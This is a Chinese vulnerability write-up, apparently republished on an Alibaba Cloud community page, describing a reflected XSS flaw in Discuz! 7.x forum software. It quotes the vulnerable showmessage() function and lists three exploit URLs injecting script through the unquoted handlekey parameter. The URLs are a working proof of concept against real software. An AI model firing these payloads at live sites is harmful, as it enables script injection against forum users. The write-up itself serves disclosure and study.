Discuz! 7.x 反射型xss

來源:互聯網
上載者:User

標籤:引用   tin   參數   extra   close   intval   direct   iss   alt   

引用:http://wooyun.jozxing.cc/static/bugs/wooyun-2014-084097.html

 

在/include/global.func.php 檔案中 第1036-1119行中

function showmessage($message, $url_forward = ‘‘, $extra = ‘‘, $forwardtype = 0) {extract($GLOBALS, EXTR_SKIP);global $hookscriptmessage, $extrahead, $discuz_uid, $discuz_action, $debuginfo, $seccode, $seccodestatus, $fid, $tid, $charset, $show_message, $inajax, $_DCACHE, $advlist;define(‘CACHE_FORBIDDEN‘, TRUE);$hookscriptmessage = $show_message = $message;$messagehandle = 0;$msgforward = unserialize($_DCACHE[‘settings‘][‘msgforward‘]);$refreshtime = intval($msgforward[‘refreshtime‘]);$refreshtime = empty($forwardtype) ? $refreshtime : ($refreshtime ? $refreshtime : 3);$msgforward[‘refreshtime‘] = $refreshtime * 1000;$url_forward = empty($url_forward) ? ‘‘ : (empty($_DCOOKIE[‘sid‘]) && $transsidstatus ? transsid($url_forward) : $url_forward);$seccodecheck = $seccodestatus & 2;if($_DCACHE[‘settings‘][‘funcsiteid‘] && $_DCACHE[‘settings‘][‘funckey‘] && $funcstatinfo && !IS_ROBOT) {$statlogfile = DISCUZ_ROOT.‘./forumdata/funcstat.log‘;if($fp = @fopen($statlogfile, ‘a‘)) {@flock($fp, 2);if(is_array($funcstatinfo)) {$funcstatinfo = array_unique($funcstatinfo);foreach($funcstatinfo as $funcinfo) {fwrite($fp, funcstat_query($funcinfo, $message)."\n");}} else {fwrite($fp, funcstat_query($funcstatinfo, $message)."\n");}fclose($fp);$funcstatinfo = $GLOBALS[‘funcstatinfo‘] = ‘‘;}}if(!defined(‘STAT_DISABLED‘) && STAT_ID > 0 && !IS_ROBOT) {write_statlog($message);}if($url_forward && (!empty($quickforward) || empty($inajax) && $msgforward[‘quick‘] && $msgforward[‘messages‘] && @in_array($message, $msgforward[‘messages‘]))) {updatesession();dheader("location: ".str_replace(‘&‘, ‘&‘, $url_forward));}if(!empty($infloat)) {if($extra) {$messagehandle = $extra;}$extra = ‘‘;}if(in_array($extra, array(‘HALTED‘, ‘NOPERM‘))) {$discuz_action = 254;} else {$discuz_action = 255;}include language(‘messages‘);$vars = explode(‘:‘, $message);if(count($vars) == 2 && isset($scriptlang[$vars[0]][$vars[1]])) {eval("\$show_message = \"".str_replace(‘"‘, ‘\"‘, $scriptlang[$vars[0]][$vars[1]])."\";");} elseif(isset($language[$message])) {$pre = $inajax ? ‘ajax_‘ : ‘‘;eval("\$show_message = \"".(isset($language[$pre.$message]) ? $language[$pre.$message] : $language[$message])."\";");unset($pre);}if(empty($infloat)) {$show_message .= $url_forward && empty($inajax) ? ‘<script>setTimeout("window.location.href =\‘‘.$url_forward.‘\‘;", ‘.$msgforward[‘refreshtime‘].‘);</script>‘ : ‘‘;} elseif($handlekey) {$show_message = str_replace("‘", "\‘", $show_message);if($url_forward) {$show_message = "<script type=\"text/javascript\" reload=\"1\">\nif($(‘return_$handlekey‘)) $(‘return_$handlekey‘).className = ‘onright‘;\nif(typeof submithandle_$handlekey ==‘function‘) {submithandle_$handlekey(‘$url_forward‘, ‘$show_message‘);} else {location.href=‘$url_forward‘}\n</script>";} else {$show_message .= "<script type=\"text/javascript\" reload=\"1\">\nif(typeof messagehandle_$handlekey ==‘function‘) {messagehandle_$handlekey(‘$messagehandle‘, ‘$show_message‘);}\n</script>";}}if($advlist = array_merge($globaladvs ? $globaladvs[‘type‘] : array(), $redirectadvs ? $redirectadvs[‘type‘] : array())) {$advitems = ($globaladvs ? $globaladvs[‘items‘] : array()) + ($redirectadvs ? $redirectadvs[‘items‘] : array());foreach($advlist AS $type => $redirectadvs) {$advlist[$type] = $advitems[$redirectadvs[array_rand($redirectadvs)]];}}if($extra == ‘NOPERM‘) {include template(‘nopermission‘);} else {include template(‘showmessage‘);}dexit();}

  在這段代碼中:

elseif($handlekey) {$show_message = str_replace("‘", "\‘", $show_message);if($url_forward) {$show_message = "<script type=\"text/javascript\" reload=\"1\">\nif($(‘return_$handlekey‘)) $(‘return_$handlekey‘).className = ‘onright‘;\nif(typeof submithandle_$handlekey ==‘function‘) {submithandle_$handlekey(‘$url_forward‘, ‘$show_message‘);} else {location.href=‘$url_forward‘}\n</script>";} else {$show_message .= "<script type=\"text/javascript\" reload=\"1\">\nif(typeof messagehandle_$handlekey ==‘function‘) {messagehandle_$handlekey(‘$messagehandle‘, ‘$show_message‘);}\n</script>";}}

  

如果不存在$url_forward參數就走else,

然而這個$handlekey並沒有加引號,所以不存在繞不繞過,直接觸發。

漏洞url:

/admincp.php?infloat=yes&handlekey=123);alert(/xss/);//

/logging.php?infloat=yes&handlekey=123);alert(/xss/);//

/api/uchome.php?infloat=yes&handlekey=123);alert(/xss/);//

 

Discuz! 7.x 反射型xss

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.